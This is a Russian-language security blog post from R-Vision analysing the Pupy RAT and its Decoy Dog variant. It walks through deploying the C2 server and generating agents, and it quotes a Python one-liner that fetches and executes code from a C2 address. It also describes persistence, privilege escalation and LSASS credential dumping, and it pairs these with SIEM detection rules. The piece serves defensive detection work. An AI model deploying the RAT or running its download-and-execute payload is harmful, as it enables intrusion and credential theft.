Привет, Хабр!

Меня зовут Борис Нестеров, я аналитик-исследователь угроз кибербезопасности в компании R-Vision. Сегодня я хочу рассказать о трояне Pupy Rat, и его модификациях Decoy Dog. Pupy Rat распространяется с помощью социальной инженерии или доставляется в инфраструктуру после компрометации одного из узлов и активно используется хакерскими группировками в атаках на российские компании. По данным различных источников, по меньшей мере 48 российских организаций в разных отраслях экономики пострадали от действий этого трояна. Об этом можно узнать из новостей на сайтах TheHackerNews, CisoClub, а также из других источников.

Давайте подробнее рассмотрим инструмент Pupy и его наиболее интересные функции. Кроме того, мы обсудим способы обнаружения его использования. 

Обзор PupyRat

Pupy RAT — это кроссплатформенное, многофункциональное вредоносное ПО для удаленного доступа к узлу «Жертвы». Инструмент используется для постэксплуатации и написан в основном на Python версии 2. Однако некоторые его функции реализованы с помощью библиотек, созданных на языках программирования C и Go.

Этот инструмент работает по принципу «всё в памяти» и почти не оставляет следов в системе, а также имеет множество функций, перечисленных в репозитории GitHub.

В Pupy Rat поддерживаются различные способы соединения, которые называются launcher:

  • connect — соединение клиента до сервера;

  • bind — это когда удаленный клиент ожидает подключения от сервера управления.

  • auto_proxy — автоматически выбирает установленную конфигурацию прокси на целевом хосте и осуществляет подключение через него;

  • dnscnc — использование протокола DNS для передачи данных.

Наиболее необычным лаунчером является dnscnc. Он позволяет клиенту взаимодействовать с командным сервером через DNS-туннелирование.

Рассмотрим пример на изображении ниже. Здесь скомпрометированный хост отправляет в запросе информацию о системе в виде закодированной строки Base64, разделенной знаком -. Поскольку в DNS-запросе нельзя использовать символ =, который используется алгоритмом для заполнения блока, этот символ заменяется на _.

Схема процесса взаимодействия с использованием канала dnscnc
Схема процесса взаимодействия с использованием канала dnscnc

Pupy Rat использует свой алгоритм кодирования полезной нагрузки. Он приведен в файле dns_encoder.py. и основывается на преобразованиях данных по алгоритму Хаффмана с использованием таблицы кодирования dns_encoder_table.py.

Использование DNS-туннелирования атакующими можно обнаружить путем подсчета количества уникальных запросов к одному родительскому домену.

Под спойлером приведён фрагмент кода детектирующего правила. В этом фрагменте для подсчёта уникальных DNS-запросов используется объект «Активный список», который хранит статистику по различным доменам.

Фрагмент правила "Использование DNS туннеля"
aliases:
  DNSEvent:
    filter: !vrl |
      # Установленный триггер уникальных запросов к домену до наступления корреляционного события 
      TRIGGER_COUNT = 50
      isPossibleDNSTunneling = false
      isExcludeDomain = false
      # Список исключений для легальных доменов доменов 
      excludeDomain = ["domain.local"]
      queryName = to_string(.cs1) ?? ""
      host = to_string(.dvchost) ?? ""
      queryNameList = split(queryName,".",limit: 2)
      payload = to_string(queryNameList[0])
      parentDomain = queryNameList[1]
      for_each(excludeDomain) -> |_index, value| {
        if ( parentDomain == value){
          isExcludeDomain = true
        }
      }
      if (!isExcludeDomain) {
        dns_query = get_active_record("dns_queries_count",{"domain": parentDomain, "host": host}) ?? {}
        if (dns_query == null) {
          res, err = add_active_record("dns_queries_count", {"domain": parentDomain, "host": host, "unique" : payload ,"count": 1})
        } else {
          unique_list = to_string(dns_query.unique) ?? "" 
          if (!contains(unique_list, payload)) {
            dnsRequestCount = (to_int(dns_query.count) ?? 0) + 1
            res, err = add_active_record("dns_queries_count", {"domain": parentDomain,"host": host, "unique" : join([unique_list,payload],separator: ";") ?? "",  "count": dnsRequestCount})
            if (dnsRequestCount == TRIGGER_COUNT) {
              isPossibleDNSTunneling = true
            }
            
          }
        }
      }
      isPossibleDNSTunneling

После ознакомления с основными особенностями инструмента можем перейти к установке сервера.

Развертывание PupyRat

Установка сервера

Чтобы развернуть сервер управления, вы можете обратиться к инструкции, которая представлена в репозитории Pupy Rat в разделе Wiki. Сервер написан на Python 2 и имеет множество зависимостей в виде устаревших библиотек установка которых может стать нетривиальной задачей. Однако есть более простой способ — использовать готовый Docker образ для развёртывания сервера.

Инструкция по развертыванию сервера в контейнере Docker, а также docker-compose файл доступны в репозитории Github.

Сервер Pupy Rat поддерживает различные способы передачи данных, называемые транспортами. Их список приведен в документации.

По умолчанию, после запуска сервера Pupy Rat, доступны только SSL-соединения. Для использования нового транспорта на сервере поднимается listen. Для добавления дополнительного listen на сервере Pupy Rat требуется выполнить команду:

listen -a {{Имя транспорта}}
Добавление listen на сервере Pupy Rat
Добавление listen на сервере Pupy Rat

Теперь, когда сервер управления запущен, мы можем сгенерировать клиенты и подключить их.

Запуск агента на целевом хосте

Pupy Rat предлагает широкий выбор клиентов для самых популярных архитектур и операционных систем. Чтобы создать нового клиента, можно воспользоваться командой gen или скриптом pupygen.py.

На рисунке показан пример создания агента в виде бинарного исполняемого файла для операционной системы Windows с архитектурой x64. Этот агент использует транспорт obfs3 (протокол для обфускации трафика, активно используется в сетях Tor).

Генерация агента для Windows x64
Генерация агента для Windows x64

Pupy Rat поддерживает различные виды клиентских агентов: client , py , pyinst , ps1, ps1_oneliner, rubber_ducky , csharp.NET , .NET_oneliner .

Для генерации py_oneliner клиента, использующего транспорт http и самостоятельно инициирующего соединение к серверу для получения управляющих команд, можем выполнить команду в консоли запущенного сервера:

gen -f py_oneliner -O linux -A x64 connect --host 10.10.10.10:9000 -t http

Сгенерированный клиент py_oneliner выглядит в виде строки Python кода:

python2.7 -c 'import urllib;exec
urllib.urlopen("http://10.10.10.10:9000/SEU0v9YFfK/mkI4vvlhEe").read()'

Где:

  • http://10.10.10.10 — адрес, на котором запущен сервер Papy Rat.

  • SEU0v9YFfK — идентификатор сервера, который генерируется при запуске сервера. mkI4vvlhEe — идентификатор payload, который создается при каждой генерации нового клиента.

  • Payload, сгенерированный с типом py_oneliner, может использоваться в операционной системе Linux и Windows на неограниченном количестве клиентов.
    Данный payload достаточно выполнить на удаленном клиенте с установленным интерпретатором python версии 2.7.

    При запуске клиента py_oneliner загружается с сервера Papy Rat и исполняется обфусцированный Python-скрипт. Загрузка осуществляется в память, в связи с чем не остается следов в файловой системе.

    При этом при выполнении команды в логе auditd фиксируется событие системного вызова execve , где в полях a0...an фиксируется выполненная команда (после нормализации в R-Vision SIEM значение данных полей записывается в поле cmd).

Событие запуска клиента py_oneliner в R-Vision SIEM в Linux
Событие запуска клиента py_oneliner в R-Vision SIEM в Linux

При запуске скрипта на устройстве с операционной системой Windows фиксируется событие с EventID 4688 (Process Creation) журнала Security и с EventID 1 (Process Creation) журнала Sysmon/Operational:

Событие запуска клиента py_oneliner в R-Vision SIEM в Windows
Событие запуска клиента py_oneliner в R-Vision SIEM в Windows

Запуск скрипта можно детектировать по вхождению в поле cmd значений python или py, а также использования функции urlopen библиотеки urllib. Такие события являются триггером в правилах R-Vision SIEM.

В результате работы правил мы получим оповещение в R-Vision SIEM.

Оповещение об инциденте в R-SIEM
Оповещение об инциденте в R-Vision SIEM

Теперь, когда наш клиент сгенерирован и запущен, мы можем рассмотреть, как им управлять.

Управление клиентами

После подключения клиента к серверу он появляется в списке sessions:

Консоль управления клиентами на сервере Pupy Rat
Консоль управления клиентами на сервере Pupy Rat

Pupy Rat предоставляет возможность управления как всеми агентами одновременно, так и по отдельности. Для выбора активного агента используется команда:

sessions -i <id session>

Активный агент подсвечивается в меню sessions более ярко.

Выбор активного агента
Выбор активного агента

Выполнение команд на агенте доступно через команду run:

run {{команда}}
Выполнение команды ls на удаленном клиенте
Выполнение команды ls на удаленном клиенте
Значения переменных окружения при помощи команды env
Значения переменных окружения при помощи команды env

Функционал проведения атак

Сторонние фреймворки

Pupy Rat — это удобный C2-сервер, который включает в себя различные инструменты от сторонних разработчиков. Для его работы используются внешние зависимости:

  • PowerSploit — набор PowerShell инструментов. В Pupy Rat представлен двумя скриптами:  Invoke-ReflectivePEInjection и PowerView. Invoke-ReflectivePEInjection используется для загрузки исполняемого файла dll в процесс PowerShell.

  • WinPwnage — это инструмент для операционных систем семейства Windows, который позволяет выполнять методы обхода UAC, повышения привилегий и закрепления.
    Использование инструмента в Pupy подробнее рассмотрим ниже.

  • LaZagne — это приложение, используемое для получения паролей, хранящихся на локальном компьютере. Пример применения приложения представим ниже.

  • linux-exploit-suggester — скрипт на языке shell для поиска потенциальных уязвимостей в операционной системе Unix и соответствующих им эксплойтов.

  • winpty — это программный пакет для Windows, предоставляющий интерфейс, похожий на Unix pty-master, для связи с консольными программами Windows.

  • memorpy — утилита позволяет искать и изменять данные процессов, загруженных в память, с использованием библиотеки ctypes. Поддерживается операционная система Windows, Linux, MacOS.

  • mimipy — утилита для дампа паролей из памяти различных процессов.

  • inveigh — проводит спуфинг-атаки и захват хэшей/учетных данных как с помощью анализа пакетов, так и с помощью специфичных для протокола сокетов.

  • pyopus — кодек для интерактивной передачи речи и звука через Интернет. wesng - утилита поиска уязвимостей, основанная на выводе systeminfo.

  • injector — библиотека для внедрения кода в исполняемой области процесса. Работает с OS Windows, Linux, MacOS.

Функционал фреймворков невозможно описать в рамках одной статьи. Однако мы рассмотрим наиболее распространённые методы, которые используют злоумышленники для получения и расширения привилегий в Pupy Rat.

Закрепление через ключи реестра

Для закрепления в системе при помощи реестра используется инструмент WinPwnage.

Для его удобного использования Pupy Rat предоставляет модуль persistence.

Использование модуля persistence
Использование модуля persistence

Для закрепления через реестр используются следующие ключи реестра:

Вы можете обнаружить попытки закрепления через реестр с помощью R-Vision SIEM. Для этого следует использовать правило «Закрепление в системе путём изменения ключей автозапуска в реестре», которое выполняет детект через событие RegistryEvent (Value Set) EventID 13 журнала Sysmon/Operational.

На рисунке ниже представлены нормализованные события, связанные с изменением ключей реестра, которые могут указывать на попытки закрепления.

События в R-Vision SIEM изменения ключей реестра
События в R-Vision SIEM: изменения ключей реестра

В нормализованном событии в поле filePath помещается измененный ключ реестра, а в поле cs4 — устанавливаемое значение ключа.

Под спойлером вы найдёте фрагмент кода, который отвечает за детектирование закрепления через реестр. В секции aliases проверяется, есть ли изменённый ключ реестра в списке ключей, которые используются для закрепления. Если такое соответствие найдено, то генерируется корреляционное событие.

Фрагмент правила "Закрепление в системе путем изменения ключей автозапуска в реестре"
filter: !vrl |
  .dvendor == "Microsoft" && 
  # Фильтруем событие изменения реестра Sysmon на установление значения реестра
  (.externalId == "13")

aliases:
  modifty_reg: 
     filter: !vrl |
      # Ключи реестра используемые для закрепления Pupy
      # Оргинальное правило содержит более 130 различных ключей реестра которые могут применяться для закрпепления
      registry_run_keys = [      
        "\\\\software\\\\wow6432node\\\\microsoft\\\\windows nt\\\\currentversion\\\\image file execution options",
        "\\\\software\\\\microsoft\\\\windows nt\\\\currentversion\\\\image file execution options",
        "\\\\software\\\\microsoft\\\\windows nt\\\\currentversion\\\\winlogon\\\\userinit",
        "\\\\software\\\\wow6432node\\\\microsoft\\\\windows\\\\currentversion\\\\run",
        "\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run"
      ]
      # Список исключений процессов легитимно использующих реестр для автозапуска 
      exclude_process_list =["\\\\microsoft\\\\edge\\\\application\\\\msedge.exe","\\\\windows\\\\system32\\\\sihost.exe"]
      isPersistence = false
      isExcludeProcess = false
      filePath = downcase(to_string(.filePath) ?? "")
      dproc = downcase(to_string(.dproc) ?? "")
      # Проверка соответсвия списку исключений
      for_each(exclude_process_list) -> |_index, value| {
        if ends_with(dproc, value){
          isExcludeProcess = true
        }
      }

      if (isExcludeProcess != true) {
        for_each(registry_run_keys) -> |_index, value| {
          if contains(filePath, value){
            isPersistence = true
          }
        }
      }
      
      # Ключ реестра DebugPath приложения People (полный путь отличается в зависимости от версии поэтому вынесен в отдельную проверку)
      if (contains_all(filePath, ["\\\\activatableclasses\\\\package\\\\microsoft.people_", "debuginformation", "debugpath"])) {
        isPersistence = true
      }  
      # Ключ реестра DebugPath приложения Cortana (полный путь отличается в зависимости от версии поэтому вынесен в отдельную проверку)
      if (contains_all(filePath, ["\\\\activatableclasses\\\\package\\\\microsoft.windows.cortana_", "debuginformation", "debugpath"])) {
        isPersistence = true
      }  

      isPersistence && !isExcludeProcess
  

Закрепление через создание сервиса

Pupy Rat поддерживает метод закрепления при помощи Windows Service (метод 12 модуля persistence). Этот метод закрепления можно детектировать, используя событие с EventID 4697 (A service was installed in the system) журнала Security. Фрагмент события создания сервиса в формате JSON из RQL-песочницы в R-Vision SIEM:

JSON нормализованного события из R-SIEM о создании сервиса
JSON нормализованного события из R-Vision SIEM о создании сервиса

Имя сервиса записывается в значении поля destinationServiceName, параметры выполнения в значении поля filePath. Поля suser, sntdom, shost помогают локализовать событие по пользователю и хосту.

О данном событии SIEM-система оповестит благодаря корреляционному правилу «Создан сервис с подозрительными параметрами». В правиле проверяется наличие подозрительных параметров при создании сервиса, например, содержащие cmd.exe или rundll32.exe. Под спойлером приведен фрагмент правила на языке VRL:

Фрагмент правила "Создан сервис с подозрительными параметрами"
# фильтрация событий 4697 журнала Security
filter: !vrl |
  .dvendor == "Microsoft" &&
  .externalId == "4697"

aliases:
  install_service:
    filter: !vrl |
      isSuspect = false
        # функция math_any проверяет вхождение в соответсвии с регулярным выраженим. Все шаблоны проверяются за один проход по целевой строке, что дает потенциальное преимущество в производительности.
      if match_any(to_string(downcase(.filePath) ?? "-"),
          [r'powershell',
          r'%comspec%', r'echo+.+\\pipe\\', r'^cmd\s', r'cmd\.exe',
          r'\\temp',
          r'\\tmp', r'\%temp\%', r'\%tmp\%', r'admin$',
          r'\\users\\\\public\\',
          r'\\appdata\\', r'\\perflogs\\',r`rundll32\.exe`]) {
            isSuspect = true }
      isSuspect

Закрепление через записи автозагрузки XDG (Linux)

Для операционных систем семейства Linux Pupy Rat использует метод создания конфигурационного файла XDG в директории /home/{{username}}/.config/autostart/, который маскируется под сервис dbus.

Запуск модуля persistence XDG на хосте c ОС Linux
Запуск модуля persistence XDG на хосте c ОС Linux

Ниже представлен фрагмент кода, отвечающий за создание конфигурационного файла демона dbus. Описание кода представлено в качестве комментариев на рисунке ниже:

Фрагмент кода модуля persistence
Фрагмент кода модуля persistence

При создании конфигурационного файла генерируется событие auditd с системным вызовом openat (открытие файла) и с правами на запись в файл в директории autostat:

Событие создания конфигурационного файла XDG из журнала auditd в R-SIEM
Событие создания конфигурационного файла XDG из журнала auditd в R-Vision SIEM

R-Vision SIEM зафиксирует закрепление благодаря правилу «Закрепление с использованием записей автозагрузки XDG», фрагмент которого приведен на рисунке:

Фрагмент правила в R-SIEM
Фрагмент правила в R-Vision SIEM

Правило отслеживает добавление или изменение конфигурационных файлов по путям /.config/autostart и /etc/xdg/autostart на основе системного вызова openat. Полный код правила под спойлером.

Правило "Закрепление с использованием записей автозагрузки XDG"
id: 6afd1a7c-95d9-43b9-94d8-e4ef38451eca
name: Закрепление в системе с использованием записей автозагрузки XDG 
version: 1.0.0
date: 2024-06-11
author: Nesterov Boris, R-Vision
status: stable
type: correlation_rule
severity: medium

description: Атакующие могут добавлять или изменять XDG Autostart Entries 
            (записи автозагрузки XDG) для выполнения вредоносных программ 
            или команд при входе пользователя в систему. XDG Autostart entries 
            используют файлы .desktop для настройки окружающей среды пользователя 
            и определяют какие приложения должны запускаться при входе 
            пользователя. Правило детектирует создание и изменение файлов 
            в директориях, где по умолчанию содержатся записи автозагрузки. 
            В случае сработки правила рекомендуется проверить ПО, указанное в 
            параметре Exec измененного или созданного конфигурационного файла.
        
tags:
  - linux
  - Persistence
  - Privilege Escalation
  - attack.T1547
  - attack.T1547.013

data_source:
  - Linux
    - auditd
      - openat
    - R-Point
      - object-access
  
known_false_positives:
  - "Использование файлов .desktop в директории XDG autostart администраторами системы для автозапуска приложений"
  - "Установка программного обеспечения, использующего записи XDG для автозапуска"

filter: !vrl |
  .dvendor == "Linux" &&
  .cat == "OA"

aliases:
  oa_autostart:
    filter: !vrl |
      filePath = downcase(to_string(.filePath) ?? "-")
      (contains(filePath, ".config/autostart") ||
      contains(filePath, "/etc/xdg/autostart")) &&
      .filePermission == "w" &&
      contains(filePath, ".desktop")

select:
  alias: oa_autostart

throttle_time_sec: 10

ttl: 10

on_correlate: !vrl |
    .dvchost = to_string(%oa_autostart.dvchost) ?? "-"
    .duser = to_string(%oa_autostart.duser) ?? "-"
    .suser = to_string(%oa_autostart.suser) ?? "-"
    .dproc = to_string(%oa_autostart.dproc) ?? "-"
    .filePath = to_string(%oa_autostart.filePath) ?? "-"
    .cmd = to_string(%oa_autostart.cmd) ?? "-"
    .msg = join(["На хосте", .dvchost, "пользователь", .suser, "изменил или создал файл", .filePath, ", что может быть признаком закрепления в системе через запись XDG"], " ") ?? ""

Повышение привилегий при помощи именованных каналов

Для повышения привилегий в системах с ОС семейства Windows используется инструмент WinPwnage. Данный инструмент позволяет повысить привилегии за счет Named Pipes. В данном методе создается именованный канал от несистемного пользователя, затем происходит подключение пользователя к нему уже с системными правами. Факт создания именного канала регистрируется в событии Pipe created EventID 17 журнала Sysmon/Operational, а подключение фиксируется в событии Pipe connected EventID 18.

Под спойлером приведен фрагмент правила «Кража токена доступа при помощи именованных каналов» в R-Vision SIEM, детектирующего данную активность.

Фрагмент правила "Кража токена доступа при помощи именованных каналов"
filter: !vrl |
  .dvendor == "Microsoft" &&
  includes(["17", "18"], .externalId)

aliases:
  event17:
    filter: !vrl |
      .externalId == "17" &&
      (downcase(to_string(.suser) ?? "") != "system" && downcase(to_string(.sntdom) ?? "") != "nt authority")
  event18:
    filter: !vrl |
      .externalId == "18" &&
      (downcase(to_string(.suser) ?? "") == "system" && downcase(to_string(.sntdom) ?? "") == "nt authority")
    
select:
  alias: event17
  join: 
    alias: event18
    on:
      - eq: {event17: .dvchost, event18: .dvchost}
      - eq: {event17: .cs6, event18: .cs6}

Дамп учетных данных из lsass

Для получения сохранённых учетных данных Pupy Rat использует инструмент LaZagne. Проект LaZagne — это приложение с открытым исходным кодом, используемое для получения списка паролей, хранящихся на локальном компьютере. Инструмент интерпретируется в памяти, не касаясь диска, и он работает на хостах под управлением Windows и Linux. Пример результата работы инструмента:

Результат работы программы LaZagne
Результат работы программы LaZagne

Инструмент LaZagne использует для доступа к учетным данным функцию MiniDumpWriteDump из библиотеки dbghelp.dll (метод через comsvcs.dll), которая характерна маской доступа «0×1478» к процессу lsass.exe. Данная маска доступа образовывается в результате суммирования в шестнадцатеричном виде исходных масок для ниже представленных прав:

PROCESS_QUERY_LIMITED_INFORMATION
PROCESS_DUP_HANDLE
PROCESS_QUERY_INFORMATION
PROCESS_VM_OPERATION
PROCESS_VM_WRITE
PROCESS_VM_READ

Для вызова функции MiniDumpWriteDump необходимы права PROCESS_QUERY_INFORMATION и PROCESS_VM_READ. Обращение к памяти процесса lsass.exe  регистрируется в событии ProcessAccess EventID 10 журнала Sysmon/Operational. R-Vision SIEM создает оповещение об этом благодаря правилу «Подозрительный доступ к памяти процесса LSASS (Sysmon)».

Правило обрабатывает событие обращения к процессу lsass.exe. В событии проверяется окончание маски доступа, характерной для чтения памяти процесса. В спойлере приведен фрагмент правила на языке VRL:

Фрагмент правила "Подозрительный доступ к памяти процесса LSASS (Sysmon)"
filter: !vrl |
  .dvendor == "Microsoft" && 
  (.externalId == "10" &&
    { dproc = downcase(to_string(.dproc) ?? "-");
        if contains(dproc, "lsass.exe")
           { true } else { false } })

aliases:
  event:
    filter: !vrl |
          isEXCEPT = true
          isACCESSorUNKNOWN = false
          accessMask = downcase(to_string(.accessMask) ?? "-");
          oldFilePath = downcase(to_string(.oldFilePath) ?? "-");
          dproc = downcase(to_string(.dproc) ?? "-");
          sproc = downcase(to_string(.sproc) ?? "-");
          #все уникальные окончания масок доступа, которые может содержать PROCESS_VM_READ
          access_list = [
             "10", "11", "12","13", "18", "19", "1a", "1b", "30", "31", "32", "33", "38", "39", "3a", "3b", "50", "51", "52", "53", "58", "59", "5a", "5b", "70", "71", "72", "73", "78", "79", "7a", "7b", "90", "91", "92", "93", "98", "99", "9a", "9b", "b0", "b1", "b2", "b3", "b8", "b9", "ba", "bb", "d0", "d1",  "d2", "d3", "d8", "d9", "da", "db", "f0", "f1", "f2", "f3", "f8", "f9", "fa", "fb", "ff",
          ]
          exceptions_list = [ #список исключений для процессов в нижнем регистре
              ":\\\\program files (x86)\\\\ossec-agent\\\\wazuh-agent.exe",
              ":\\\\windows\\\\sysmon64.exe",
              ":\\\\windows\\\\system32\\\\csrss.exe",
              ":\\\\windows\\\\system32\\\\wininit.exe",
              ":\\\\windows\\\\system32\\\\svchost.exe",
              ":\\\\windows\\\\system32\\\\msiexec.exe",
              ":\\\\program files (x86)\\\\google\\\\update\\\\googleupdate.exe",
              ":\\\\program files (x86)\\\\kaspersky lab\\\\kes.12.3.0\\\\avp.exe",
              ":\\\\program files (x86)\\\\kaspersky lab\\\\networkagent\\\\vapm.exe",
              ":\\\\windows\\\\system32\\\\wbem\\\\wmiprvse.exe",
          ]    
          for_each(access_list) -> |_index, value| {
              if ends_with(accessMask, value) {
                  isACCESSorUNKNOWN = true
              }
          }     
          for_each(exceptions_list) -> |_index, value| {
              if contains(sproc, value) {
                  isEXCEPT = false 
              }    
          }
          isACCESSorUNKNOWN && 
          isEXCEPT

Заключение

В статье мы рассмотрели возможности вредоносного ПО Pupy Rat. Размещение исходного кода в публичном доступе делает этот инструмент доступным для модификации и использования широкому кругу лиц. Так хакеры активно используют в атаках на российские компании модификацию Decoy Dog. Модификация инструмента и применяемые различные способы обфускации помогают обходить статические методы антивирусных решений.

Также анализ показывает, что детектировать использование инструмента можно, отслеживая его воздействие на систему в журналах событий. Задачи по анализу событий с различных источников и получению оперативных оповещений о подозрительной и вредоносной активности может решить продукт R-Vision SIEM, который поставляется с пакетом экспертизы.

Всем спасибо за внимание, буду рад обсудить и ответить на вопросы в комментариях!

MITRE TTPs

ID

ИМЯ

ОПИСАНИЕ

Правило

Resource Development 

T1587.001

Develop Capabilities: Malware

Использует сторонние модули, а так же предусматривает создание кастомных модулей

 

Initial Access

T1059

Command and Scripting Interpreter

Поддерживает удаленное выполнение произвольных команд на агентах

 

Persistence

T1543.002

Create or Modify System Process: Systemd Service

Использует механизмы закрепления через Systemd Service

Изменение сервисов Linux

T1543.003

Create or Modify System Process: Windows Service

Использует механизмы закрепления через системные сервисы

Создан сервис с подозрительными параметрами

T1547.001

Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Использует механизмы закрепления через реестр и директории автозагрузки

Закрепление в системе путем изменения ключей автозапуска в реестре, Зафиксировано возможное закрепление в системе посредством помещения файла в директорию автозагрузки

T1547.013

Boot or Logon Autostart Execution: XDG Autostart Entries

Использует механизмы закрепления через записи автозагрузки XDG

Закрепление с использованием записей автозагрузки XDG

T1546.003

Event Triggered Execution: Windows Management Instrumentation Event Subscription

Использует механизмы закрепления с использованием подписок WMI

Детектирование создания wmi подписки

T1053.005

Scheduled Task/Job: Scheduled Task

Использует механизмы закрепления с использованием планировщика задач

Изменения в планировщике задач

Privilege Escalation

T1134.001

Access Token Manipulation: Token Impersonation/Theft

Использует механизмы повышения привилегий через олицетворение токена за счет функции API ImpersonateNamedPipeClient

Кража токена доступа при помощи именованных каналов

T1134

Access Token Manipulation

Использует механизмы повышения привилегий до уровня System

Несистемный процесс повысил привилегии до системных

Defense Evasion

T1036.005

Masquerading: Match Legitimate Name or Location

Использует имена легитимных сервисов

T1620

Reflective Code Loading

Загружает интерпретатор Python прямо в память, используя технику reflective DLL

T1027.013

Obfuscated Files or Information: Encrypted/Encoded File

Использует обфусцированный код клиента

Credential Access

T1003.001

OS Credential Dumping: LSASS Memory

Включает в себя модуль дампа учетных записей из процесс lsass

Подозрительный доступ к памяти процесса LSASS

T1555.003

Credentials from Password Stores: Credentials from Web Browsers

Включает в себя модуль дампа учетных записей из браузера

T1555.004

Credentials from Password Stores: Windows Credential Manager

Включает в себя модуль дампа учетных записей из менеджера паролей

T1056.001

Input Capture: Keylogging

Включает в себя модуль кейлогера

Command and Control

T1105

Ingress Tool Transfer

Поддерживает генерацию клиента для дальнейшей его загрузки через PowerShell или Python

Загрузка файлов с удаленных ресурсов при помощи стандартных утилит

T1071.004

Application Layer Protocol: DNS

Использует
DNS tunneling для коммуникации с управляющим сервером

T1090.001

Proxy: Internal Proxy

Использует Socks Proxy для проброса портов

Discovery

T1046

Network Service Discovery

Включает в себя сканер TCP портов

Lateral Movement

T1021.004

Remote Services: SSH

Имеет встроенный ssh клиент

T1021.001

Remote Services: Remote Desktop Protocol

Имеет встроенный rdp клиент

Collection

T1113

Screen Capture

Имеет модуль создания скриншотов

Комментарии (0)